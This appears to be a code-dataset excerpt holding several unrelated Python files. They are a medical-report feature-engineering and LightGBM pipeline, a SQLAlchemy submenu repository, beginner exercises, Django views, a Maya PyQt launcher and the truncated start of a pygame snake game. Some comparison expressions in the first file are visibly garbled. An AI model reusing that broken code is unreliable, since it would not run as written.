str(info1))|(\"T2WI、FLAIR呈高信号\" in str(info1))|(\"T2WI呈高信号\" in str(info1))) for info1 in col_temp ]\n new_value_8 = [((\"T2WI呈明亮高信号\" in str(info1))|(\"T2WI呈明显高信号\" in str(info1))) for info1 in col_temp ]\n \n new_value_9 = [((\"FLAIR像上呈高信号\" in str(info1))|(\"FLAIR下呈椭圆形略高信号\" in str(info1))|(\"FLAIR序列中上述部分病灶呈高信号\" in str(info1))|(\"FLAIR高信号\" in str(info1))|(\"FLAIR呈高信号\" in str(info1))|(\"FLAIR呈略高信号\" in str(info1))|(\"FLAIR序列呈高信号\" in str(info1))|(\"FLAIR序列呈稍高信号\" in str(info1))) for info1 in col_temp ]\n data_input1_df.loc[new_value_1,'T1WI'] = 1\n data_input1_df.loc[new_value_2,'T1WI'] = 2\n data_input1_df.loc[new_value_3,'T1WI'] = 3\n data_input1_df.loc[new_value_4,'T1WI'] = 4\n data_input1_df.loc[new_value_5,'T1WI'] = 5\n \n data_input1_df.loc[new_value_6,'T2WI'] = 1\n data_input1_df.loc[new_value_7,'T2WI'] = 2\n data_input1_df.loc[new_value_8,'T2WI'] = 3\n \n data_input1_df.loc[new_value_9,'FLAIR'] = 1\n data_input1_df.loc[new_value_empty,'T1WI'] = np.nan\n data_input1_df.loc[new_value_empty,'T2WI'] = np.nan\n data_input1_df.loc[new_value_empty,'FLAIR'] = np.nan\n \n if colname_temp2 in data_input1_df.columns: \n col_temp =data_input1_df[colname_temp2]\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [(\"脑白质变性\" in str(info1)) for info1 in col_temp ]\n data_input1_df.loc[new_value_1,'leukodystrophy'] = 1\n data_input1_df.loc[new_value_empty,'leukodystrophy'] = np.nan\n return data_input1_df\n\n##30018 30019\ndef datCl_num(data_input1_df,colname_temp,value):\n if colname_temp in data_input1_df.columns: \n col_temp =data_input1_df[colname_temp]\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [((\"阴性\" in str(info1))| (\"-\" in str(info1)) | (\"<5\" in str(info1))| (\"<20\" in str(info1))) for info1 in col_temp ]\n new_value_2 = [((\"+\" in str(info1))& (\"-\" not in str(info1))) for info1 in col_temp ]\n new_value_confused = []\n for i in range(len(new_value_1)) :\n new_value_confused.append( ( not new_value_1[i] ) and ( not new_value_2[i] ) and ( not new_value_empty[i] ))\n data_input1_df.loc[new_value_1,colname_temp] = 0\n data_input1_df.loc[new_value_2,colname_temp] = value+1\n data_input1_df.loc[new_value_confused,colname_temp] = 0\n data_input1_df.loc[new_value_empty,colname_temp] = np.nan\n return data_input1_df \n\n##男女判断\ndef datCl_sex(data_input1_df,colname_temp,colw,colm):\n data_input1_df['sex']=\"None\"\n if colname_temp in data_input1_df.columns:\n col_temp = data_input1_df[colname_temp]\n new_value_1 = [((\"子宫\" in str(info1)) | (\"左附件 \" in str(info1)) | (\"乳腺小叶\" in str(info1)) ) for info1 in col_temp ]\n new_value_2 = [((\"前列腺\" in str(info1)) ) for info1 in col_temp ]\n data_input1_df.loc[new_value_1,'sex'] =0\n data_input1_df.loc[new_value_2,'sex'] =1\n if colw in data_input1_df.columns:\n col_temp = data_input1_df[colw]\n new_value_1 = [((\"子宫\" in str(info1)) | (\"左附件 \" in str(info1)) | (\"乳腺小叶\" in str(info1)) ) for info1 in col_temp ]\n data_input1_df.loc[new_value_1,'sex'] =0\n if colm in data_input1_df.columns:\n col_temp = data_input1_df[colm]\n new_value_1 = [((\"前列腺\" in str(info1)) ) for info1 in col_temp ]\n data_input1_df.loc[new_value_1,'sex'] =1\n return data_input1_df\n \n####glsycogen A705\ndef datCl_Glsycogen(data_input1_df,colname_temp):\n data_input1_df['glsycogen']=0\n if colname_temp in data_input1_df.columns:\n col_temp =data_input1_df[colname_temp]\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [(\"脂肪肝倾向\" in str(info1)) for info1 in col_temp ]\n new_value_2 = [(\"脂肪衰减值大于240\" in str(info1)) for info1 in col_temp ]\n new_value_3 = [(\"肝脏硬度值偏高\" in str(info1)) for info1 in col_temp ] \n new_value_4 = [((\"脂肪肝倾向\" in str(info1)) & (\"脂肪衰减值大于240\" in str(info1))) for info1 in col_temp ]\n new_value_5 = [((\"脂肪肝倾向\" in str(info1)) & (\"肝脏硬度值偏高\" in str(info1))) for info1 in col_temp ]\n new_value_6 = [((\"脂肪衰减值大于240\" in str(info1)) & (\"肝脏硬度值偏高\" in str(info1))) for info1 in col_temp ] \n data_input1_df.loc[new_value_1,'glsycogen'] = 1\n data_input1_df.loc[new_value_2,'glsycogen'] = 2\n data_input1_df.loc[new_value_3,'glsycogen'] = 3\n data_input1_df.loc[new_value_4,'glsycogen'] = 4\n data_input1_df.loc[new_value_5,'glsycogen'] = 5\n data_input1_df.loc[new_value_6,'glsycogen'] = 6\n data_input1_df.loc[new_value_empty,'glsycogen'] = np.nan\n return data_input1_df\n\ndef missing(data):\n missing = data.isnull().sum()\n missing.sort_values(inplace=True,ascending=True)\n types = data[missing.index].dtypes\n percent = (data[missing.index].isnull().sum()/data[missing.index].isnull().count()).sort_values(ascending=True)\n missing_data = pd.concat([missing, percent,types], axis=1, keys=['Total', 'Percent','Types'])\n missing_data.sort_values('Total',ascending=True,inplace=True)\n return missing_data\n \ndef process_text_col(df_text):\n if os.path.isfile(CACHE_X_TEXT):\n print('Load processed text cols from cache!')\n return pd.read_csv(CACHE_X_TEXT,index_col=0)\n print('process text cols')\n df=df_text.copy()\n missing_test=missing(df)\n features = df.drop(missing_test[missing_test['Percent']>0.999].index,1)\n features=features.fillna('NaN')\n ###病史提取\n features['bingshi']=features['0409']+features['0434']\n features['kidney']=features['0117']+features['0118']\n ## CT,第一列A201,第二列A202\n features=datCl_CT(features,'A201','A202')\n ####B超结论\n features=datCl_FLD(features,'0102')\n features=datCl_FLD2(features,'0102')\n ###核磁共振A301 A302\n features=datCl_MRI(features,'A301','A302')\n ####区分男女\n features['性别信息']=features['0101']+features['0102']\n features=datCl_sex(features,'性别信息','0121','0120')\n \n colname_used_all = [\"0113\",\"0114\",\"0115\",\"0116\",\"kidney\",\"bingshi\",\"A705\",\"0101\",\"1402\",\"4001\",\"100010\",\"1001\",\"2228\",\"2229\",\"2230\",\"2231\",\"2233\",\"2302\",\"30007\",\"3190\",\"3191\",\"3192\",\"3194\",\"3195\",\"3196\",\"3197\",\"3198\",\"3430\",\"3485\",\"3486\",\"3730\",\"3601\"]\n rule_dict = {\n \"0113\":\"datCl_echo\",\n \"0114\":\"datCl_echo\",\n \"0115\":\"datCl_echo\",\n \"0116\":\"datCl_echo\",\n \"kidney\":\"datCl_echo\",\n \"bingshi\":\"datCl_disease\",\n \"100010\":\"datCl_Degree\",\n \"1001\":\"datCl_Arhy\",\n \"2228\":\"datCl_Degree2\",\n \"2229\":\"datCl_Degree2\",\n \"2230\":\"datCl_Degree2\",\n \"2231\":\"datCl_Degree2\",\n \"2233\":\"datCl_Degree2\",\n \"2302\":\"datCl_Healt\",\n \"30007\":\"datCl_Degree\",\n \"3190\":\"datCl_Degree2\",\n \"3191\":\"datCl_Degree2\",\n \"3192\":\"datCl_Degree2\",\n \"3194\":\"datCl_Degree2\",\n \"3195\":\"datCl_Degree2\",\n \"3196\":\"datCl_Degree2\",\n \"3197\":\"datCl_Degree2\",\n \"3198\":\"datCl_Degree2\",\n \"3430\":\"datCl_Degree2\",\n \"3485\":\"datCl_Degree2\",\n \"3486\":\"datCl_Degree2\",\n \"3730\":\"datCl_Degree2\",\n \"3601\":\"datCl_Bone\",\n \"4001\":\"datCl_Vasoactivity\",\n \"1402\":\"datCl_CBFV\",\n \"0101\":\"datCl_blood\",\n \"A705\":\"datCl_Glsycogen\"\n }\n for colname_temp in colname_used_all:\n rule_used = rule_dict[colname_temp]\n if rule_used == \"datCl_Arhy\":\n features = datCl_Arhy(features,colname_temp)\n elif rule_used == \"datCl_HeaRhy\":\n features = datCl_HeaRhy(features,colname_temp)\n elif rule_used == \"datCl_Degree\":\n features = datCl_Degree(features,colname_temp)\n elif rule_used == \"datCl_Degree2\":\n features = datCl_Degree2(features,colname_temp)\n elif rule_used == \"datCl_Healt\":\n features = datCl_Healt(features,colname_temp)\n elif rule_used == \"datCl_Bone\":\n features = datCl_Bone(features,colname_temp)\n elif rule_used == \"datCl_Vasoactivity\":\n features = datCl_Vasoactivity(features,colname_temp)\n elif rule_used == \"datCl_CBFV\":\n features = datCl_CBFV(features,colname_temp)\n elif rule_used == \"datCl_blood\":\n features = datCl_blood(features,colname_temp)\n elif rule_used == \"datCl_Glsycogen\":\n features = datCl_Glsycogen(features,colname_temp)\n elif rule_used == \"datCl_disease\":\n features = datCl_disease(features,colname_temp)\n elif rule_used == \"datCl_echo\":\n features = datCl_echo(features,colname_temp)\n \n features=features.replace('None',np.nan)\n features=features.replace('NaN',np.nan)\n ##310008 310009\n features=datCl_num(features,'300018',20)\n features=datCl_num(features,'300019',5)\n ##提取数值列\n features_index=data_clean(features)\n features=features[features_index[0]]\n features.to_csv(CACHE_X_TEXT)\n return features\n\n######lable 处理\ndef process_lable():\n if os.path.isfile(CACHE_LABLE):\n print('Load lable from cache!')\n return pd.read_csv(CACHE_LABLE,index_col=0)\n else:\n lable=pd.read_csv(DATA_TRAIN_Y,index_col=0,encoding=\"gbk\")\n ###去除lable异常值 \n lable=lable.drop(lable[lable['收缩压']=='弃查'].index)\n lable=lable.drop(lable[lable['收缩压']=='未查'].index)\n lable=lable.drop(lable[lable['收缩压']==0].index)\n lable=lable.drop(lable[lable['舒张压']==100164].index)\n lable=lable.drop(lable[lable['舒张压']==974].index)\n lable=lable.drop(lable[lable['舒张压']==0].index)\n lable=lable.drop(lable[lable['血清甘油三酯']=='2.2.8'].index)\n lable=lable.drop(lable[lable['血清甘油三酯']=='> 11.00'].index)\n lable=lable.drop(lable[lable['血清甘油三酯']=='> 6.22'].index)\n lable['血清甘油三酯']=lable['血清甘油三酯'].replace('7.75轻度乳糜','7.75')\n lable['血清甘油三酯']=lable['血清甘油三酯'].str.replace(\"+\",\"\")\n lable.columns=['SBP','DBP','TG','HDL','LDL']\n lable=lable.astype(np.float32)\n lable[lable<0]=0\n lable=np.log1p(lable)\n lable[lable<0]=0\n lable.to_csv(CACHE_LABLE)\n return lable\n \ndef merge_all_features(df_num,df_num_text,df_text):\n print('merge all features')\n df=pd.concat((df_num,df_num_text,df_text), axis=1)\n df=df.astype(np.float32)\n df['hwr']=df['2403']/df['2404']\n for i in df.columns:\n if(df[i].max()>100.0):\n df[i]=np.log1p(df[i])\n df.to_csv(CACHE_X_ALL)\n return df\n\n###创造新特征\n#####包含检测结果80%异常的特征数目统计\ndef abnormal_num1(df,lable,col,value,cut):\n cols=[]\n for i in df.columns:\n indexs=df[df[i].notnull()].index\n filterid=(indexs).intersection(lable.index)\n lable2=lable.loc[filterid,col]\n lable3=lable2[lable2>value]\n if(len(lable3)/len(lable2)>=cut):\n cols.append(i)\n return cols\n\n###小的值是异常值高密度脂蛋白 \ndef abnormal_num2(df,lable,col,value,cut):\n cols=[]\n for i in df.columns:\n indexs=df[df[i].notnull()].index\n filterid=(indexs).intersection(lable.index)\n lable2=lable.loc[filterid,col]\n lable3=lable2[lable2=cut):\n cols.append(i)\n return cols\n\n#####统计高于中位值3倍或低于中位值均值三倍的异常值数目\ndef abnormal_value1(df,lable,col,name,value,cor):\n cols=cor.columns[:-24]\n df[name]=0\n for i in cols: \n med=df[i].median()\n if cor.loc[col,i] >0 : \n index1=df[df[i]>3*med].index\n filterid=(index1).intersection(lable.index)\n if(len(filterid)>0):\n lable2=lable.loc[filterid,col]\n lable3=lable2[lable2>value]\n if(len(lable3)/len(lable2)>=0.4):\n df.loc[index1,name]=df.loc[index1,name]+1\n if cor.loc[col,i] <0 : \n index1=df[df[i]0):\n lable2=lable.loc[filterid,col]\n lable3=lable2[lable2>value]\n if(len(lable3)/len(lable2)>=0.4):\n df.loc[index1,name]=df.loc[index1,name]+1\n return df[name]\n\ndef abnormal_value2(df,lable,col,name,value,cor):\n cols=cor.columns[:-24]\n df[name]=0\n for i in cols: \n med=df[i].median()\n if cor.loc[col,i] >0 : \n index1=df[df[i]>2*med].index\n ##行名取交集\n filterid=(index1).intersection(lable.index)\n if(len(filterid)>0):\n lable2=lable.loc[filterid,col]\n lable3=lable2[lable2=0.4):\n df.loc[index1,name]=df.loc[index1,name]+1\n if cor.loc[col,i] <0 : \n index1=df[df[i]0):\n lable2=lable.loc[filterid,col]\n lable3=lable2[lable2=0.4):\n df.loc[index1,name]=df.loc[index1,name]+1\n return df[name]\n \ndef get_new_features(df_all,df_raw,df_y):\n if os.path.isfile(CACHE_X_LAST):\n print('Load feayures from cache!')\n return pd.read_csv(CACHE_X_LAST)\n else:\n print('get new features')\n df=df_all.copy()\n tmp=df_raw.copy()\n lable0=df_y.copy()\n train_tmp=tmp.loc[lable0.index]\n missing_test2=missing(train_tmp)\n lable2=np.exp(lable0)-1\n \n ##利用缺失值数目生成新特征\n tmp = tmp.drop(missing_test2[missing_test2['Percent']==1].index,1)\n tmp2=tmp.drop(missing_test2[missing_test2['Percent']<0.9].index,1)\n tmp3=tmp.drop(missing_test2[missing_test2['Percent']<0.99].index,1)\n tmp4=tmp.drop(missing_test2[missing_test2['Percent']<0.5].index,1)\n df['miss_all']=tmp.notnull().sum(axis=1)\n df['miss_90']=tmp2.notnull().sum(axis=1)\n df['miss_99']=tmp3.notnull().sum(axis=1)\n df['miss_50']=tmp4.notnull().sum(axis=1)\n \n ##统计异常列生成新特征\n cols_SBP=abnormal_num1(tmp,lable2,'SBP',140,0.6)\n cols_DBP=abnormal_num1(tmp,lable2,'DBP',90,0.6)\n cols_TG=abnormal_num1(tmp,lable2,'TG',2.25,0.6)\n cols_HDL=abnormal_num2(tmp,lable2,'HDL',0.88,0.2)\n cols_LDL=abnormal_num1(tmp,lable2,'LDL',3.37,0.6)\n df['SBP_abn']=tmp[cols_SBP].notnull().sum(axis=1)\n df['DBP_abn']=tmp[cols_DBP].notnull().sum(axis=1)\n df['TG_abn']=tmp[cols_TG].notnull().sum(axis=1)\n df['HDL_abn']=tmp[cols_HDL].notnull().sum(axis=1)\n df['LDL_abn']=tmp[cols_LDL].notnull().sum(axis=1)\n\n cols_SBP=abnormal_num1(tmp,lable2,'SBP',140,0.5)\n cols_DBP=abnormal_num1(tmp,lable2,'DBP',90,0.5)\n cols_TG=abnormal_num1(tmp,lable2,'TG',2.25,0.1)\n cols_HDL=abnormal_num2(tmp,lable2,'HDL',0.88,0.5)\n cols_LDL=abnormal_num1(tmp,lable2,'LDL',3.37,0.5)\n df['SBP_abn2']=tmp[cols_SBP].notnull().sum(axis=1)\n df['DBP_abn2']=tmp[cols_DBP].notnull().sum(axis=1)\n df['TG_abn2']=tmp[cols_TG].notnull().sum(axis=1)\n df['HDL_abn2']=tmp[cols_HDL].notnull().sum(axis=1)\n df['LDL_abn2']=tmp[cols_LDL].notnull().sum(axis=1)\n\n cols_SBP=abnormal_num1(tmp,lable2,'SBP',140,0.4)\n cols_DBP=abnormal_num1(tmp,lable2,'DBP',90,0.4)\n cols_TG=abnormal_num1(tmp,lable2,'TG',2.25,0.06)\n cols_HDL=abnormal_num2(tmp,lable2,'HDL',0.88,0.4)\n cols_LDL=abnormal_num1(tmp,lable2,'LDL',3.37,0.4)\n df['SBP_abn3']=tmp[cols_SBP].notnull().sum(axis=1)\n df['DBP_abn3']=tmp[cols_DBP].notnull().sum(axis=1)\n df['TG_abn3']=tmp[cols_TG].notnull().sum(axis=1)\n df['HDL_abn3']=tmp[cols_HDL].notnull().sum(axis=1)\n df['LDL_abn3']=tmp[cols_LDL].notnull().sum(axis=1)\n \n ####计算相关性\n x_train=df.loc[lable.index]\n merge_data = pd.merge(x_train, lable2, left_index=True,right_index=True,how='outer')\n corrmat = merge_data.corr()\n df['SBP_abnvalue']=abnormal_value1(df,lable2,'SBP','SBP_abnvalue',140,corrmat)\n df['DBP_abnvalue']=abnormal_value1(df,lable2,'DBP','DBP_abnvalue',90,corrmat)\n df['TG_abnvalue']=abnormal_value1(df,lable2,'TG','TG_abnvalue',2.25,corrmat)\n df['LDL_abnvalue']=abnormal_value1(df,lable2,'LDL','LDL_abnvalue',3.37,corrmat)\n df['HDL_abnvalue']=abnormal_value2(df,lable2,'HDL','HDL_abnvalue',0.88,corrmat)\n df=pd.concat((df[df.columns[-24:]],df[df.columns[:-24]]), axis=1)\n df.to_csv(CACHE_X_LAST)\n return df\n \n###lightgbm\nimport lightgbm as lgb\nfrom sklearn.model_selection import KFold\n\nparams = {\n 'task': 'train',\n 'boosting_type': 'gbdt',\n 'objective': 'mse',\n 'metric': 'l2',\n 'num_leaves': 80,\n 'learning_rate': 0.01,\n 'feature_fraction': 0.8,\n 'bagging_fraction': 0.8,\n 'bagging_freq': 5,\n 'bagging_seed': 100,\n 'min_child_weight':10,\n 'num_all_rounds': 3000,\n 'num_early_stop': 50,\n 'verbose': 0\n}\n\n\nclass lgb_model():\n def __init__(self,params):\n self.params = params\n \n def train(self, X_train, y_train, X_val, y_val):\n dtrain, dval = lgb.Dataset(X_train, y_train), lgb.Dataset(X_val, y_val)\n num_all_rounds = self.params['num_all_rounds']\n num_early_stop = self.params['num_early_stop']\n self.model = lgb.train(self.params, dtrain, num_boost_round=num_all_rounds,\n valid_sets=dval, early_stopping_rounds=num_early_stop,\n verbose_eval=False)\n print('best iteration is {}'.format(self.model.best_iteration))\n return (self.model,\n self.model.best_score['valid_0']['l2'])\n def predict(self,X_test):\n dtest = X_test\n num_it = self.model.best_iteration\n return self.model.predict(dtest, num_iteration=num_it)\n \ndef kfolds_train_predict(X,Y,test):\n x_train=X\n y_train=Y\n scores=[]\n pred_y=pd.DataFrame()\n counts=1\n folder = KFold(n_splits=NUM_FOLDS, random_state=100, shuffle=True)\n for train_index,test_index in folder.split(x_train):\n print('begin Fold{}'.format(counts))\n X_train,X_test=x_train.iloc[train_index],x_train.iloc[test_index]\n Y_train,Y_test=y_train.iloc[train_index],y_train.iloc[test_index]\n model=lgb_model(params)\n mod_best,score_best=model.train(X_train,Y_train,X_test,Y_test)\n pred_t = mod_best.predict(test)\n scores.append(score_best)\n pred_y = pd.concat((pred_y,pd.DataFrame(pred_t.T)), axis=1, ignore_index=True)\n counts+=1\n print ('The score of cv: Mean={}; std={}'.format(np.mean(scores), np.std(scores)))\n pred_y_log = pred_y.mean(axis=1)\n pred_y_last = np.exp(pred_y_log)-1\n return pred_y_last,np.mean(scores)\n \n \nif __name__ == '__main__':\n #shutil.rmtree('../data/cache', ignore_errors=True)\n #os.makedirs('../data/cache')\n \n tmp=merge_raw_data()\n cols_num,cols_num_text,cols_text,tmp=split_cols(tmp)\n print ('num cols is {}'.format(len(cols_num)) )\n print ('num text cols is {}'.format(len(cols_num_text)) )\n print ('text is {}'.format(len(cols_text)) )\n df_num,df_num_text,df_text=tmp[cols_num],tmp[cols_num_text],tmp[cols_text]\n df_num_text2=process_num_col(df_num_text)\n df_text2=process_text_col(df_text)\n df_all=merge_all_features(df_num,df_num_text2,df_text2)\n lable=process_lable()\n df_final=get_new_features(df_all,tmp,lable)\n \n test=pd.read_csv(DATA_TEST_Y,index_col=0,encoding=\"gbk\")\n x_train=df_all.loc[lable.index]\n x_test=df_all.loc[test.index]\n \n ###模型预测\n print ('******************* SBP ********************' )\n result_SBP,score_SBP=kfolds_train_predict(x_train, lable['SBP'],x_test)\n\n print ('******************* DBP ********************' )\n result_DBP,score_DBP=kfolds_train_predict(x_train, lable['DBP'],x_test)\n\n print ('******************* TG ********************' )\n result_TG,score_TG=kfolds_train_predict(x_train, lable['TG'],x_test)\n\n print ('******************* HDL ********************' )\n result_HDL,score_HDL=kfolds_train_predict(x_train, lable['HDL'],x_test)\n\n print ('******************* LDL ********************' )\n result_LDL,score_LDL=kfolds_train_predict(x_train, lable['LDL'],x_test)\n \n print ('The mean og all score is : {}'.format(np.mean([score_SBP,score_DBP,score_TG,score_HDL,score_LDL])))\n\n result_all = pd.concat((pd.DataFrame(result_SBP.T),pd.DataFrame(result_DBP.T),pd.DataFrame(result_TG.T),pd.DataFrame(result_HDL.T),pd.DataFrame(result_LDL.T)), axis=1, ignore_index=True)\n result_all=result_all.round(3)\n result_all.index=x_test.index\n result_all.to_csv(DIR_DATA+\"prey_test_result.csv\",header=False)\n \n print('Done!')\n \n ","repo_name":"denghongjuan/meinian-health-AI-contest---double-high-disease-risk-prediction-43th-in-round1-11th-in-round2","sub_path":"code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":76577,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"11"} +{"seq_id":"13231970348","text":"from uuid import UUID\n\nfrom models import models\nfrom schemas import schemas\nfrom sqlalchemy import delete, func, select, update\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\n\nasync def dishes_count(id: UUID, db: AsyncSession) -> int:\n sub_select = select(models.Dish.id).filter(models.Dish.submenu_id == id)\n result = await db.execute(select(func.count()).select_from(sub_select))\n return result.scalars().first()\n\n\nasync def get_submenus(menu_id: UUID, db: AsyncSession) -> list[models.Submenu]:\n result = await db.execute(select(models.Submenu).filter(models.Submenu.menu_id == menu_id))\n return list[models.Submenu](result.scalars().all())\n\n\nasync def get_submenu(id: UUID, db: AsyncSession) -> models.Submenu | None:\n result = await db.execute(select(models.Submenu).filter(models.Submenu.id == id))\n return result.scalars().first()\n\n\nasync def create_submenu(payload: schemas.SubmenuSchema, menu_id: UUID, db: AsyncSession) -> models.Submenu:\n submenu = models.Submenu(**payload.model_dump(), menu_id=menu_id)\n db.add(submenu)\n await db.commit()\n return submenu\n\n\nasync def update_submenu(id: UUID, payload: schemas.SubmenuSchema, db: AsyncSession) -> models.Submenu | None:\n query = await db.execute(update(models.Submenu).\n where(models.Submenu.id == id).\n values(payload.model_dump(exclude_unset=True)).\n returning(models.Submenu))\n submenu = query.scalars().first()\n await db.commit()\n return submenu\n\n\nasync def delete_submenu(id: UUID, db: AsyncSession) -> dict[str, bool]:\n query = await db.execute(delete(models.Submenu).where(models.Submenu.id == id).returning(models.Submenu))\n submenu = query.scalars().first()\n if not submenu:\n return {'ok': False}\n await db.commit()\n return {'ok': True}\n","repo_name":"Ch0knutiy/Restaurant-service","sub_path":"app/repositories/submenuRepository.py","file_name":"submenuRepository.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"3829723554","text":"def problem1():\n #here is the added introduction\n print(\"Wow! Isn't Europe cool, but the temperature is in Celsius?!?!\")\n #the rest is just copying from textbook\n print(\"Use this program to convert celsius to fahrenheit\")\n c = eval(input(\"celsius Temperature\"))\n fahr = (9/5) * c +32\n print(\"The temperature is\", fahr, \"degrees Fahrenheit\")\ndef problem2():\n print(\"this program prints the average of three scores\")\n #taking in three scores\n score1, score2, score3 = eval(input(\"Enter 3 scores sperated by commas\"))\n #calculating average\n average = (score1+score2+score3)/3\n #printing the output\n print(\"The average is score is,\", average)\ndef problem3():\n #runs the previous code 5 times, takes in a new input each time\n for i in range(5):\n #same code as problem 1\n c = eval(input(\"celsius Temperature\"))\n #input\n fahr = (9/5) * c +32\n print(\"The temperature is\", fahr, \"degrees Fahrenheit\")\n #output\ndef problem4():\n \n # the loop runs 101 times because 100 must be included in the result\n for i in range(101):\n # i%10 checks to see if the remainder after being divided by 10 is 0, definition of being divisible by 10\n if i%10 == 0:\n #using variable i from before, convert it to fahrenheit\n fahr = (9/5) * i +32\n #output the temperature in F\n print(\"The temperature of\", i, \"in Fahrenheit is\", fahr, \"degrees Fahrenheit\")\n \ndef problem5():\n years = eval(input(\"how many years for the investment\"))\n #get the years for investment\n apr = eval(input(\"interest rate\"))\n #get the apr\n principal = eval(input(\"principal\"))\n #get the principal\n\n #iterate the loop for the number of years\n for i in range(years):\n\n #each year, multiply the principal times the investment rate (this loop is basically the compound interest formula)\n #we need to add 1 to convert the percent to a decimal\n principal = principal * (1 +apr)\n #the output\n print(principal)\n\n \n \n \n \n","repo_name":"rselwyn/FunctionalProgramming2015","sub_path":"src/Chapters/ch2p/chapter2.py","file_name":"chapter2.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"14105811381","text":"from django.shortcuts import render\nfrom django.http import Http404, HttpResponseRedirect\nfrom django.http import HttpResponse\nfrom .models import Article, Comment\nfrom django.urls import reverse\n\nfrom django.contrib.auth import get_user_model\nUser = get_user_model()\n\n\n# Create your views here.\n\n# def index(request):\n# return HttpResponse(\"

Привет, мир!

\")\n\n# def test(request):\n# return HttpResponse(\"

ТЕСТОВАЯ СТРАНИЦА

\")\n\ndef index(request):\n latest_artical_list = Article.objects.order_by('-pub_date')[:5]\n return render(request, 'webex/list.html', {'latest_artical_list': latest_artical_list})\n\n\n\ndef test(request):\n return HttpResponse(\"

ТЕСТОВАЯ СТРАНИЦА ДЛЯ ЗАПРОСА TEST

\")\n\n\ndef detal(request, article_id):\n\n try:\n a = Article.objects.get(id=article_id)\n\n except:\n raise Http404(\"Статья не найдена!\")\n latest_comments_list = a.comment_set.order_by('-id')[:10]\n\n alist = list(a.article_text)\n\n par = []\n indb = [0]\n count = 0\n tab = ' '\n #for i in range(700):\n while '&' in alist:\n inde = alist.index('&')\n alist.pop(inde)\n out = alist[indb[count]:inde - 1]\n count = count + 1\n indb.append(inde)\n outs = tab + ''.join(out)\n par.append(outs)\n #Если нет разделения на абзацы с помощью символа &, то выводим статью полностью (как в БД)\n if count > 0:\n out = alist[inde:]\n else:\n out = alist\n outs = ''.join(out)\n par.append(outs)\n\n if request.user.is_authenticated == True:\n acc = account_check(request)\n return render(request, 'webex/blbla.html', {'article': a, 'latest_comments_list': latest_comments_list, 'par':par, 'Acc': acc})\n else:\n return render(request, 'webex/blbla.html', {'article': a, 'latest_comments_list': latest_comments_list, 'par': par})\n\n\ndef leave_comment(request, article_id):\n # создаем комментарий к статье и запускаем процедуру detal, которая читает все комментарии, включая новый и\n # отправляет на blbla.html\n if request.user.is_authenticated == True: #20201223\n try:\n a = Article.objects.get(id=article_id)\n except:\n raise Http404(\"Статья не найдена!\")\n #a.comment_set.create(author_name = request.POST['name'], comment_text = request.POST['text']) #20201223\n a.comment_set.create(author_name=request.user, comment_text=request.POST['text'])\n\n return HttpResponseRedirect(reverse('webex:detal', args=(a.id,)))\n else:#20201223\n return render(request, 'webex/auth_req.html')#20201223\n\ndef account_check(request):\n X = []\n try:\n a = User.objects.get(id=request.user.id)\n except:\n raise Http404(\"Пользователь отсутствует\")\n\n customer = a.customer_set.order_by('id')[:]\n\n for cus in customer:\n X.append(cus.account)\n\n if len(X) == 0:\n X.append(\"0\")\n\n return (X[-1])\n\ndef smarp(request):\n return render(request, 'webex/smarp.pdf')\n\n","repo_name":"amelin-igor/django-learn","sub_path":"mydjango/webex/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3328,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35667277640","text":"import sip\r\nfrom PyQt4 import QtCore, QtGui\r\ntry:\r\n _fromUtf8 = QtCore.QString.fromUtf8\r\nexcept AttributeError:\r\n _fromUtf8 = lambda s: s\r\n \r\nimport maya.OpenMayaUI\r\n\r\nimport digital37.maya.general.AssetSearchUI as AssetSearchUI\r\nreload(AssetSearchUI)\r\nimport digital37.maya.general.AssetSearch as AssetSearch\r\nreload(AssetSearch)\r\n\r\nclass StartAssetSearch(QtGui.QMainWindow,AssetSearchUI.Ui_Root,AssetSearch):\r\n def __init__(self, parent=None):\r\n QtGui.QWidget.__init__(self, parent)\r\n AssetSearch.__init__(self)\r\n self.setupUi(self)\r\n \r\n self.lineEdit.textChanged.connect(self.search)\r\n \r\n def search(self):\r\n # Get input text\r\n self.Text_Input = str( self.lineEdit.text() )\r\n # perform search\r\n self.perform_search()\r\n \r\ndef getMayaWindow():\r\n ptr = maya.OpenMayaUI.MQtUtil.mainWindow()\r\n return sip.wrapinstance(long(ptr), QtCore.QObject)\r\n\r\ndef main():\r\n global AssetSearch_app\r\n global AssetSearch_myapp\r\n AssetSearch_app = QtGui.qApp\r\n AssetSearch_myapp = StartAssetSearch(getMayaWindow())\r\n AssetSearch_myapp.show()\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"Meglen56/digital37","sub_path":"Maya/Python/digital37/maya/file/StartAssetSearch.py","file_name":"StartAssetSearch.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"32813085604","text":"import numpy, pygame, sys, random\nfrom enum import Enum\nfrom Food import Food\nfrom GameUI import GameUI\nfrom Map import Map\nfrom Snake import Snake, Position\n\n# Initialize all the pygame module\npygame.init()\n\n# Summary of pygame modules:\n# 1) cdrom - playback\n# 2) cursors - load cursor images, includes standard cursors\n# 3) display - control the display window or screen\n# 4) draw - draw simple shapes onto a Surface\n# 5) event - manage events and the event queue\n# 6) font - create and render TrueType fonts\n# 7) image - save and load images\n# 8) joystick - manage joystick devices\n# 9) key - manage the keyboard\n# 10) mouse - manage the mouse\n# 11) sndarray - manipulate sounds with numpy\n# 12) surfarray - manipulate images with numpy\n# 13) time - control timing\n# 14) transform - scale, rotate, and flip images\n\n#Screen settings\nscreenWidth = 500\nscreenHeight = 600\nscreen = pygame.display.set_mode((screenWidth, screenHeight))\n\nheightOffset = 100\n\n#Class which contains the main game elements\nclass Main:\n\n startTimer = 250\n timer = startTimer\n\n def __init__(self):\n 